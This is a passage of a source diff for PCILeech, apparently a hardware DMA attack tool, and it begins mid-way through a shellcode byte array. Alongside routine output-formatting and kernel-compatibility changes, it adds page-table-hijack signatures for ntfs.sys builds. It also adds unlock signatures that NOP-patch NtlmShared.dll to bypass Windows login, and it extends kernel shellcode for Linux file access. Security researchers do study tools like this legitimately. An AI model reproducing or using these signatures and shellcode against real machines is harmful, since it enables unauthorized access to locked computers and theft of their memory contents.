0xc2, 0x18, 0xe8, 0x17, 0xf7, 0xff, 0xff, 0x48, 0xf7, 0xd8, 0xb8, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x1b, 0xc9, 0x48, 0x23, 0xc8, 0x48, 0x89, 0x8b, 0x20, 0x02, 0x00, 0x00, 0xeb, 0x0c, 0xb8, 0x06, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x80, 0x00, 0x00, diff --git a/pcileech/statistics.c b/pcileech/statistics.c index 39e2039..b03695b 100644 --- a/pcileech/statistics.c +++ b/pcileech/statistics.c @@ -75,27 +75,46 @@ VOID _PageStatShowUpdate(_Inout_ PPAGE_STATISTICS ps) if(ps->i.fMemMap) { _PageStatPrintMemMap(ps); } - printf( - " Current Action: %s \n" \ - " Access Mode: %s \n" \ - " Progress: %llu / %llu (%llu%%) \n" \ - " Speed: %llu %s \n" \ - " Address: 0x%016llX \n" \ - " Pages read: %llu / %llu (%llu%%) \n" \ - " Pages failed: %llu (%llu%%) \n", - ps->szAction, - ps->fKMD ? "KMD (kernel module assisted DMA)" : "DMA (hardware only) ", - (ps->cPageSuccess + ps->cPageFail) / 256, - ps->cPageTotal / 256, - qwPercentTotal, - (isMBs ? qwSpeed >> 10 : qwSpeed), - (isMBs ? "MB/s" : "kB/s"), - ps->qwAddr, - ps->cPageSuccess, - ps->cPageTotal, - qwPercentSuccess, - ps->cPageFail, - qwPercentFail); + if(ps->cPageTotal < 0x0000000fffffffff) { + printf( + " Current Action: %s \n" \ + " Access Mode: %s \n" \ + " Progress: %llu / %llu (%llu%%) \n" \ + " Speed: %llu %s \n" \ + " Address: 0x%016llX \n" \ + " Pages read: %llu / %llu (%llu%%) \n" \ + " Pages failed: %llu (%llu%%) \n", + ps->szAction, + ps->fKMD ? "KMD (kernel module assisted DMA)" : "DMA (hardware only) ", + (ps->cPageSuccess + ps->cPageFail) / 256, + ps->cPageTotal / 256, + qwPercentTotal, + (isMBs ? qwSpeed >> 10 : qwSpeed), + (isMBs ? "MB/s" : "kB/s"), + ps->qwAddr, + ps->cPageSuccess, + ps->cPageTotal, + qwPercentSuccess, + ps->cPageFail, + qwPercentFail); + } else { + printf( + " Current Action: %s \n" \ + " Access Mode: %s \n" \ + " Progress: %llu / (unknown) \n" \ + " Speed: %llu %s \n" \ + " Address: 0x%016llX \n" \ + " Pages read: %llu \n" \ + " Pages failed: %llu \n", + ps->szAction, + ps->fKMD ? "KMD (kernel module assisted DMA)" : "DMA (hardware only) ", + (ps->cPageSuccess + ps->cPageFail) / 256, + (isMBs ? qwSpeed >> 10 : qwSpeed), + (isMBs ? "MB/s" : "kB/s"), + ps->qwAddr, + ps->cPageSuccess, + ps->cPageFail); + } ps->i.fIsFirstPrintCompleted = TRUE; } diff --git a/pcileech/tlp.c b/pcileech/tlp.c index 7e7cbf9..ead02d8 100644 --- a/pcileech/tlp.c +++ b/pcileech/tlp.c @@ -19,16 +19,48 @@ VOID TLP_Print(_In_ PBYTE pbTlp, _In_ DWORD cbTlp, _In_ BOOL isTx) for(i = 0; i < cbTlp; i += 4) { buf[i >> 2] = _byteswap_ulong(*(PDWORD)(pbTlp + i)); } - printf("%s_TLP: TypeFmt: %02x Length: %03x(%04x)", (isTx ? "TX" : "RX"), hdr->TypeFmt, hdr->Length, (hdr->Length << 2)); if(hdr->TypeFmt == TLP_CplD) { hdrC = (PTLP_HDR_CplD)pb; - printf("\nCplD: CplID: %04x ReqID: %04x Status: %01x BC: %03x Tag: %02x LowAddr: %02x", hdrC->RequesterID, hdrC->CompleterID, hdrC->Status, hdrC->ByteCount, hdrC->Tag, hdrC->LowerAddress); + printf( + "\n%s: CplD: ReqID: %04x CplID: %04x Status: %01x BC: %03x Tag: %02x LowAddr: %02x", + (isTx ? "TX" : "RX"), + hdrC->RequesterID, + hdrC->CompleterID, + hdrC->Status, + hdrC->ByteCount, + hdrC->Tag, + hdrC->LowerAddress + ); } else if(hdr->TypeFmt == TLP_MRd32 || hdr->TypeFmt == TLP_MWr32) { hdrM32 = (PTLP_HDR_MRdWr32)pb; - printf("\n%s: ReqID: %04x BE1: %01x BEL: %01x Tag: %02x Addr: %08x", (hdr->TypeFmt == TLP_MRd32) ? "MRd32" : "MWr32", hdrM32->RequesterID, hdrM32->FirstBE, hdrM32->LastBE, hdrM32->Tag, hdrM32->Address); + printf( + "\n%s: %s: ReqID: %04x BE_FL: %01x%01x Tag: %02x Addr: %08x", + (isTx ? "TX" : "RX"), + (hdr->TypeFmt == TLP_MRd32) ? "MRd32" : "MWr32", + hdrM32->RequesterID, + hdrM32->FirstBE, + hdrM32->LastBE, + hdrM32->Tag, + hdrM32->Address); } else if(hdr->TypeFmt == TLP_MRd64 || hdr->TypeFmt == TLP_MWr64) { hdrM64 = (PTLP_HDR_MRdWr64)pb; - printf("\n%s: ReqID: %04x BE1: %01x BEL: %01x Tag: %02x Addr: %016llx", (hdr->TypeFmt == TLP_MRd64) ? "MRd64" : "MWr64", hdrM64->RequesterID, hdrM64->FirstBE, hdrM64->LastBE, hdrM64->Tag, ((QWORD)hdrM64->AddressHigh << 32) + hdrM64->AddressLow); + printf( + "\n%s: %s: ReqID: %04x BE_FL: %01x%01x Tag: %02x Addr: %016llx", + (isTx ? "TX" : "RX"), + (hdr->TypeFmt == TLP_MRd64) ? "MRd64" : "MWr64", + hdrM64->RequesterID, + hdrM64->FirstBE, + hdrM64->LastBE, + hdrM64->Tag, + ((QWORD)hdrM64->AddressHigh << 32) + hdrM64->AddressLow + ); + } else { + printf( + "\n%s: TLP??: TypeFmt: %02x dwLen: %03x", + (isTx ? "TX" : "RX"), + hdr->TypeFmt, + hdr->Length + ); } printf("\n"); Util_PrintHexAscii(pbTlp, cbTlp); @@ -59,11 +91,6 @@ BOOL TLP_CallbackMRd(_Inout_ PTLP_CALLBACK_BUF_MRd pBufferMRd, _In_ PBYTE pb, _I return TRUE; } } - } else { - QWORD qwDebug[16]; - memset(qwDebug, 0xcc, 16 * 8); - memcpy(qwDebug, pb, min(cb, 16 * 8)); - DWORD DEBUGX = 0x01; } return FALSE; } diff --git a/pcileech/util.c b/pcileech/util.c index 63162ff..bf80b9b 100644 --- a/pcileech/util.c +++ b/pcileech/util.c @@ -609,9 +609,11 @@ VOID Util_Read1M(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PBYTE pbBuffer1M, _In_ QWO BOOL Util_Read16M(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _Inout_opt_ PPAGE_STATISTICS pPageStat) { BOOL isSuccess[4] = { FALSE, FALSE, FALSE, FALSE }; - QWORD i, o, qwOffset; + QWORD i, o, qwOffset, cbRead; + if(qwBaseAddress >= ctx->cfg->qwAddrMax) { return FALSE; } if(!ctx->phKMD) { // Native DMA - return 0 != DeviceReadDMAEx(ctx, qwBaseAddress, pbBuffer16M, 0x01000000, pPageStat); + cbRead = min(0x01000000, ctx->cfg->qwAddrMax - qwBaseAddress); + return 0 != DeviceReadDMAEx(ctx, qwBaseAddress, pbBuffer16M, (DWORD)cbRead, pPageStat, 0); } // try read 16M if((qwBaseAddress + 0x01000000 <= ctx->cfg->qwAddrMax) && DeviceReadMEM(ctx, qwBaseAddress, pbBuffer16M, 0x01000000, 0)) { diff --git a/pcileech_files/pcileech b/pcileech_files/pcileech index 09e7620..45a9c10 100644 Binary files a/pcileech_files/pcileech and b/pcileech_files/pcileech differ diff --git a/pcileech_files/pcileech.exe b/pcileech_files/pcileech.exe index 33af53d..cba942e 100644 Binary files a/pcileech_files/pcileech.exe and b/pcileech_files/pcileech.exe differ diff --git a/pcileech_files/pcileech_gensig.cfg b/pcileech_files/pcileech_gensig.cfg index ed67ff7..3af794b 100644 --- a/pcileech_files/pcileech_gensig.cfg +++ b/pcileech_files/pcileech_gensig.cfg @@ -1,8 +1,7 @@ # Configuration data for the Windows 8.1/10/2012R2/2016 pagetable hijack signature generator. -# The signatures for the page table hijack attack requires two pages (8192 bytes) of binary -# code from Microsoft binaries we hash the required pages and ask the users of PCILeech to -# extract the required code in order to avoid distributing potentially copyrighted Microsoft -# binary code. +# The signatures for the page table hijack attack requires (8192) two full pages of binary code +# from Microsoft binaries we hash the required pages and ask the users of PCILeech to extract +# the required code in order to avoid distributing potentially copyrighted Microsoft binary code. # # Each line represents a signature and populates a c-struct entry as per below: # @@ -20,6 +19,7 @@ # ntfs.sys signed on 2014-10-15 (Windows 8.1 x64);win8x64_ntfs_20141015.kmd;# ntfs.sys signed on 2014-10-15 (MJ_CREATE);0xd3000;0x4a000;1ac5c0df47e153480fc49bb3687df84473168bd65b4bb58ab3885f47a6116d1b;a65cf907fb5aecb5d2a256b8a49706469025c740a896e3a8d0b27537f6fbbc6f;,d3920,DEFAULT_WINX64_STAGE1,4ad80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804a000100210001800a0003800c00018054010100080000001b00018001000000 ntfs.sys signed on 2015-12-30 (Windows 8.1 x64);win8x64_ntfs_20151230.kmd;# ntfs.sys signed on 2016-12-30 (MJ_CREATE);0xd1000;0x49000;65b0b0cf8a508d20cb6906fe4fea9e10a1c4398c4f5c4bbbc366383e06572695;6387547a0a12d5814681f0ed5fc47cd6aa31e8b4428bee8cf18081bb8ab57d67;,d1190,DEFAULT_WINX64_STAGE1,49d80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038049000100200001800a0003800c00018054010100080000001b00018001000000 +ntfs.sys signed on 2017-09-09 (Windows 8.1 x64);win8x64_ntfs_20170909.kmd;# ntfs.sys signed on 2017-09-09 (MJ_CREATE);0xd0000;0x49000;a8857d9011802d52075b70854b2f7b83fc05b66e12bf212fbaee97779958afd8;3121c422abd92bba47dba5f660bc72e94b3ee5703857763b1b6498730499bc52;,d0c80,DEFAULT_WINX64_STAGE1,49d80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038049000100210001800a0003800c00018052010100080000001b00018001000000 ntfs.sys signed on 2016-02-23 (Windows 10 x64);win10x64_ntfs_20160223.kmd;# ntfs.sys signed on 2016-02-23 (MJ_CREATE);0xca000;0x4f000;0592b0387ec943697dd0f552564e087c8dd385b25db565ffb11fa6bd1cf10b14;218325e192e8146883054359e984376be0d13486c05d31ab4a23ff834ebb623e;,ca770,DEFAULT_WINX64_STAGE1,4fe38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804f00010023000180080003801400018066010100050000001d00018001000000 ntfs.sys signed on 2015-12-01 (Windows 10 x64);win10x64_ntfs_20151201.kmd;# ntfs.sys signed on 2015-12-01 (MJ_CREATE);0xc5000;0x4d000;3bac25cd0e0cfc45dcb7efa67200e4800ffe8278fd3249a382bd4403f3309756;fcc23d38f37141010e2985cc2c7babc8796c36e85b820d77d5c6b4fe66c6caf0;,c51e0,DEFAULT_WINX64_STAGE1,4dd30,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000 ntfs.sys signed on 2015-07-30 (Windows 10 x64);win10x64_ntfs_20150730.kmd;# ntfs.sys signed on 2015-07-30 (MJ_CREATE);0xc4000;0x4d000;cd135fc58b88f96abff0ddb1207cb9e84e5b2f040607d0500de0018d32ad1572;2cfd3b597b341c056a30a186b1347d82d211cf1319464ad1f13cfa525891e409;,c4dc0,DEFAULT_WINX64_STAGE1,4dd20,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000 @@ -27,10 +27,13 @@ ntfs.sys signed on 2015-07-17 (Windows 10 x64);win10x64_ntfs_20150717.kmd;# ntfs ntfs.sys signed on 2015-07-10 (Windows 10 x64);win10x64_ntfs_20150710.kmd;# ntfs.sys signed on 2015-07-10 (MJ_CREATE);0xc4000;0x4d000;a8a4e0d7963c2652226064c674b7ed38b1f84a8661e8f63663783dafb83271fc;95964341fb3121baf303037a3796bd98c4167261ead9a4b4587a31e8a546dda1;,c4ec0,DEFAULT_WINX64_STAGE1,4dd20,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018062010100050000001d000180 ntfs.sys signed on 2016-03-29 (Windows 10 x64);win10x64_ntfs_20160329.kmd;# ntfs.sys signed on 2016-03-29 (MJ_CREATE);0xca000;0x4f000;d091d4d5452ef388c6ff22780922f3f944a8439e5109dae207151f7f4fd23991;84b0ffd20272e8757023975ef52132c9e82df7e81da537cf436407733a1f4957;,ca770,DEFAULT_WINX64_STAGE1,4fe38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804f00010023000180080003801400018066010100050000001d000180 ntfs.sys signed on 2016-08-03 (Windows 10 x64) [10.0.10240.17071];win10x64_ntfs_20160803_10240.kmd;# ntfs.sys signed on 2016-08-03 (MJ_CREATE) [10.0.10240.17071];0xc5000;0x4d000;c80d2ff8c58669a539ecc636103a73eb8c65a4568c81d6627a9b14f428d0207f;bafe68ca0561d5137504c53360cdec01b8d522eade7e558b90231fdaf53a66a5;,c51e0,DEFAULT_WINX64_STAGE1,4de38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000 +ntfs.sys signed on 2017-09-19 (Windows 10 x64) [10.0.10240.17643];win10x64_ntfs_20170919_10240.kmd;# ntfs.sys signed on 2017-09-19 (MJ_CREATE) [10.0.10240.17643];0xdd000;0x1ec000;3f688bfd33764abc387ed1ffe57ee287cb4726ef58fb88f104a350d62f25b240;950b63465d1982cc41108376717f8dda508c3778b6358ce21e4272c7e75a1306;,dd7b0,DEFAULT_WINX64_STAGE1,1ece38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000 ntfs.sys signed on 2016-07-16 (Windows 10 x64) [10.0.14393.0];win10x64_ntfs_20160716_14393.kmd;# ntfs.sys signed on 2016-07-16 (MJ_CREATE) [10.0.14393.0];0xf6000;0x53000;5cadebe69115cc66e07f7d1e3f97ad0522840c1c648d33b37d8fe9f9a36ae413;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f6b70,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2016-08-20 (Windows 10 x64) [10.0.14393.103];win10x64_ntfs_20160820_14393.kmd;# ntfs.sys signed on 2016-08-20 (MJ_CREATE) [10.0.14393.103];0xf6000;0x53000;c6b3a2c6a9d19798b9974704e551a4798d0f2098279a67924eebcb03cee07590;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f6b70,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2016-09-07 (Windows 10 x64) [10.0.14393.187];win10x64_ntfs_20160907_14393.kmd;# ntfs.sys signed on 2016-09-07 (MJ_CREATE) [10.0.14393.187];0xf7000;0x53000;e6f94244f8ab0cb45a2509679a15ebbb933c936c23d0c600116124b4aebf67d5;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f78e0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2016-11-02 (Windows 10 x64) [10.0.14393.447];win10x64_ntfs_20161102_14393.kmd;# ntfs.sys signed on 2016-11-02 (MJ_CREATE) [10.0.14393.447];0xf7000;0x53000;e044cff9460a778a04e75081dbfa7441bd1b142a9798a2c978c28612f33682c3;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f78e0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2017-03-04 (Windows 10 x64) [10.0.14393.953];win10x64_ntfs_20170304_14393.kmd;# ntfs.sys signed on 2017-03-04 (MJ_CREATE) [10.0.14393.953];0xf7000;0x53000;228a30faacc59dd6b41fab0a5eab73e30ee774fde51e4ee30a8501f81cfe8e54;6c4742133e9409255abb3c3d21eca24e7f303b4968e703acfe4f3e3f4e39ce36;,f78f0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2017-04-28 (Windows 10 x64) [10.0.14393.1198];win10x64_ntfs_20170428_14393.kmd;# ntfs.sys signed on 2017-04-28 (MJ_CREATE) [10.0.14393.1198];0xf7000;0x53000;1546b88e89466c8602690714ca39ddfde499a3f33a5869747530cb060daf8923;0a9519910b85e243dde74efa9e9f205e182ef166048bd0fe29ff0618df10ba3d;,f78f0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 -ntfs.sys signed on 2017-03-18 (Windows 10 x64) [10.0.15063.0];win10x64_ntfs_20170318_15063.kmd;# ntfs.sys signed on 2017-03-18 (MJ_CREATE) [10.0.15063.0];0xcb000;0x55000;f190019c227cbbbd19e9ed6fb840e9838afab598b9ac23a3008d60fb3b139845;b48ce1f64615ae1e734d36f94c0c41cce4e5f6caab58df0121ca6f27e8569599;,cb2e0,DEFAULT_WINX64_STAGE1,55e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380550001002800018008000380150001807f0101000500000023000180 \ No newline at end of file +ntfs.sys signed on 2017-03-18 (Windows 10 x64) [10.0.15063.0];win10x64_ntfs_20170318_15063.kmd;# ntfs.sys signed on 2017-03-18 (MJ_CREATE) [10.0.15063.0];0xcb000;0x55000;f190019c227cbbbd19e9ed6fb840e9838afab598b9ac23a3008d60fb3b139845;b48ce1f64615ae1e734d36f94c0c41cce4e5f6caab58df0121ca6f27e8569599;,cb2e0,DEFAULT_WINX64_STAGE1,55e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380550001002800018008000380150001807f0101000500000023000180 +ntfs.sys signed on 2017-09-30 (Windows 10 x64) [10.0.15063.674];win10x64_ntfs_20170930_15063.kmd;# ntfs.sys signed on 2017-09-30 (MJ_CREATE) [10.0.15063.674];0xcb000;0x219000;c1627584ba74d093e74760e12d5c74e0549d5d768f4ec462d55eedfe8dd74d98;871a6f00aea79f7bfd79d23cd3d72d9ae0f7cf7b344ac5f5e9511a641c202348;,cb390,DEFAULT_WINX64_STAGE1,219e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380550001002800018008000380150001807f0101000500000023000180 +ntfs.sys signed on 2017-10-10 (Windows 10 x64) [10.0.16299.19];win10x64_ntfs_20171010_16299.kmd;# ntfs.sys signed on 2017-10-10 (MJ_CREATE) [10.0.16299.19];0xf6000;0x22c000;55b6529027827c433303454a3bfd0fc540bfcb7163089bb4650fb578999db299;8bdfd5302c2521f1a723ef61bdc2543f52bd9a6748d6bb2788ab4ff8ed87dd6f;,f6120,DEFAULT_WINX64_STAGE1,22ce38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003805a0001002900018008000380150001808c0101000500000023000180 \ No newline at end of file diff --git a/pcileech_files/unlock_win10x64.sig b/pcileech_files/unlock_win10x64.sig index 7489ca4..7db4296 100644 --- a/pcileech_files/unlock_win10x64.sig +++ b/pcileech_files/unlock_win10x64.sig @@ -12,4 +12,7 @@ 6dF,FF15D31B,6e8,0F8518FB,6e8,909090909090 # # signature for Windows 10 x64 [NtlmShared.dll (2017-03-18)] -615,FF15C51C,61e,0F852EFB,61e,909090909090 \ No newline at end of file +615,FF15C51C,61e,0F852EFB,61e,909090909090 +# +# signature for Windows 10 x64 [NtlmShared.dll (2017-09-29)/10.0.16299.15] +615,FF15D51C,61e,0F852EFB,61e,909090909090 \ No newline at end of file diff --git a/pcileech_files/wx64_unlock.ksh b/pcileech_files/wx64_unlock.ksh index fe42a94..bb096d8 100644 Binary files a/pcileech_files/wx64_unlock.ksh and b/pcileech_files/wx64_unlock.ksh differ diff --git a/pcileech_shellcode/lx64_vfs.c b/pcileech_shellcode/lx64_vfs.c index 2a5a6a4..d092530 100644 --- a/pcileech_shellcode/lx64_vfs.c +++ b/pcileech_shellcode/lx64_vfs.c @@ -59,30 +59,36 @@ typedef struct tdVFS_RESULT_FILEINFO { // Other required defines and typedefs. //----------------------------------------------------------------------------- -#define O_RDONLY 00000000 -#define O_WRONLY 00000001 -#define O_CREAT 00000100 -#define O_TRUNC 00001000 -#define O_APPEND 00002000 -#define O_DIRECTORY 00200000 -#define O_NOATIME 01000000 +#define O_RDONLY 00000000 +#define O_WRONLY 00000001 +#define O_CREAT 00000100 +#define O_TRUNC 00001000 +#define O_APPEND 00002000 +#define O_DIRECTORY 00200000 +#define O_NOATIME 01000000 + +#define DT_UNKNOWN 0 +#define DT_FIFO 1 +#define DT_CHR 2 +#define DT_DIR 4 +#define DT_BLK 6 +#define DT_REG 8 +#define DT_LNK 10 +#define DT_SOCK 12 +#define DT_WHT 14 + +#define AT_FDCWD -100 +#define AT_NO_AUTOMOUNT 0x800 +#define STATX_BASIC_STATS 0x000007ffU -#define DT_UNKNOWN 0 -#define DT_FIFO 1 -#define DT_CHR 2 -#define DT_DIR 4 -#define DT_BLK 6 -#define DT_REG 8 -#define DT_LNK 10 -#define DT_SOCK 12 -#define DT_WHT 14 struct timespec { QWORD tv_sec; // seconds QWORD tv_nsec; // nanoseconds }; -struct kstat { +// kstat struct - kernels 4.10 and earlier. +struct kstat_4_10 { QWORD ino; DWORD dev; DWORD mode; @@ -99,6 +105,28 @@ struct kstat { QWORD _pcileech_dummy_extra[2]; }; +// kstat struct - kernels 4.11 and later. +struct kstat_4_11 { + DWORD result_mask; + DWORD mode; + DWORD nlink; + DWORD blksize; + QWORD attributes; + QWORD attributes_mask; + QWORD ino; + DWORD dev; + DWORD rdev; + DWORD uid; + DWORD gid; + QWORD size; + struct timespec atime; + struct timespec mtime; + struct timespec ctime; + struct timespec btime; + QWORD blocks; + QWORD _pcileech_dummy_extra[2]; +}; + //----------------------------------------------------------------------------- // Functions below. //----------------------------------------------------------------------------- @@ -111,10 +139,11 @@ typedef struct tdFN2 { QWORD filp_open; QWORD vfs_read; QWORD vfs_write; - QWORD vfs_stat; QWORD yield; QWORD iterate_dir_opt; QWORD vfs_readdir_opt; + QWORD vfs_stat_opt; + QWORD vfs_statx_opt; } FN2, *PFN2; typedef struct tdDIR_CONTEXT { @@ -138,12 +167,17 @@ BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) { NAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'c', 'l', 'o', 's', 'e', 0 }; NAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'o', 'p', 'e', 'n', 0 }; NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 0 }; - NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'w', 'r', 'i', 't', 'e', 0 }; - NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'w', 'r', 'i', 't', 'e', 0 }; NAMES[i++] = (QWORD)(CHAR[]) { 'y', 'i', 'e', 'l', 'd', 0 }; if(!LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, i)) { return FALSE; } + // optional lookup 1#: (due to kernel version differences) pfn2->iterate_dir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'i', 't', 'e', 'r', 'a', 't', 'e', '_', 'd', 'i', 'r', 0 })); pfn2->vfs_readdir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 'd', 'i', 'r', 0 })); + if(!pfn2->iterate_dir_opt && !pfn2->vfs_readdir_opt) { return FALSE; } + // optional lookup 2#: + pfn2->vfs_stat_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 })); + pfn2->vfs_statx_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 'x', 0 })); + if(!pfn2->vfs_stat_opt && !pfn2->vfs_statx_opt) { return FALSE; } return TRUE; } @@ -190,7 +224,8 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop) { QWORD i, o, p, cfi, result; CHAR sz[2 * MAX_PATH]; - struct kstat kstat; + struct kstat_4_10 kstat_4_10; + struct kstat_4_11 kstat_4_11; PVFS_RESULT_FILEINFO pfi; cfi = pk->dataOutExtraLength / sizeof(VFS_RESULT_FILEINFO); for(o = 0; o < MAX_PATH; o++) { @@ -208,12 +243,22 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop) sz[o + i] = (CHAR)pfi->wszFileName[i]; } sz[o + i] = 0; - result = SysVCall(pfn2->vfs_stat, sz, &kstat); - if(0 == result) { - pfi->cb = kstat.size; - pfi->tAccessOpt = UnixToWindowsFiletime(kstat.atime.tv_sec); - pfi->tCreateOpt = UnixToWindowsFiletime(kstat.ctime.tv_sec); - pfi->tModifyOpt = UnixToWindowsFiletime(kstat.mtime.tv_sec); + if(pfn2->vfs_statx_opt) { // 4.11 kernels and later. + result = SysVCall(pfn2->vfs_statx_opt, AT_FDCWD, sz, AT_NO_AUTOMOUNT, &kstat_4_11, STATX_BASIC_STATS); + if(0 == result) { + pfi->cb = kstat_4_11.size; + pfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_11.atime.tv_sec); + pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_11.ctime.tv_sec); + pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_11.mtime.tv_sec); + } + } else { // 4.10 kernels and earlier. + result = SysVCall(pfn2->vfs_stat_opt, sz, &kstat_4_10); + if(0 == result) { + pfi->cb = kstat_4_10.size; + pfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_10.atime.tv_sec); + pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_10.ctime.tv_sec); + pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_10.mtime.tv_sec); + } } if(0 == (p % 50)) { SysVCall(pfn2->yield); } // yield at intervals to avoid problems... } diff --git a/pcileech_shellcode/wx64_unlock.c b/pcileech_shellcode/wx64_unlock.c index 751847b..93cb37d 100644 --- a/pcileech_shellcode/wx64_unlock.c +++ b/pcileech_shellcode/wx64_unlock.c @@ -129,7 +129,7 @@ NTSTATUS Unlock_FindAndPatch(_In_ PKERNEL_FUNCTIONS2 fnk2, _Inout_ PBYTE pbPages return E_FAIL; } -#define NUMBER_OF_SIGNATURES 7 +#define NUMBER_OF_SIGNATURES 8 NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase) { SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = { @@ -167,6 +167,11 @@ NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase) { .cbOffset = 0x615,.cb = 4,.pb = { 0xff, 0x15, 0xc5, 0x1c } }, { .cbOffset = 0x61e,.cb = 4,.pb = { 0x0f, 0x85, 0x2e, 0xfb } }, { .cbOffset = 0x61e,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + {.chunk = { // win10x64 NtlmShared.dll (2017-09-29::10.0.16299.15) + { .cbOffset = 0x615,.cb = 4,.pb = { 0xff, 0x15, 0xd5, 0x1c } }, + { .cbOffset = 0x61e,.cb = 4,.pb = { 0x0f, 0x85, 0x2e, 0xfb } }, + { .cbOffset = 0x61e,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } } }; KERNEL_FUNCTIONS2 fnk2; diff --git a/readme.md b/readme.md index 68f9bb2..6800729 100644 --- a/readme.md +++ b/readme.md @@ -49,9 +49,16 @@ PCILeech on Linux must be run as root. PCILeech also requires libusb. Libusb is #### Android: Separate instructions for [Android](Android.md). -Hardware (FPGA): +Hardware: ================= -Please check out the [PCILeech FPGA project](https://github.com/ufrisk/pcileech-fpga/) for information about supported FPGA based hardware. +PCILeech supports multiple hardware devices. Please check out the [PCILeech FPGA project](https://github.com/ufrisk/pcileech-fpga/) for information about supported FPGA based hardware. Please find a device comparision table below. More information about USB3380 devices are also found below. + +| Device | Type | Interface | Speed | 64-bit memory access | PCIe TLP access | +| ----------- | ------- | --------- | ------- | -------------------- | --------------- | +| USB3380-EVB | USB3380 | USB3 | 150MB/s | No (via KMD only) | No | +| PP3380 | USB3380 | USB3 | 150MB/s | No (via KMD only) | No | +| SP605/FT601 | FPGA | USB3 | 85MB/s | Yes | Yes | +| SP605/TCP | FPGA | TCP/IP | 100kB/s | Yes | Yes | Hardware (USB3380): ================= @@ -146,8 +153,8 @@ Probe/Enumerate the memory of the target system for readable memory pages and ma Dump all memory between addresses min and max, don't stop on failed pages. Native access to 64-bit memory is only supported on FPGA hardware. * ` pcileech.exe dump -min 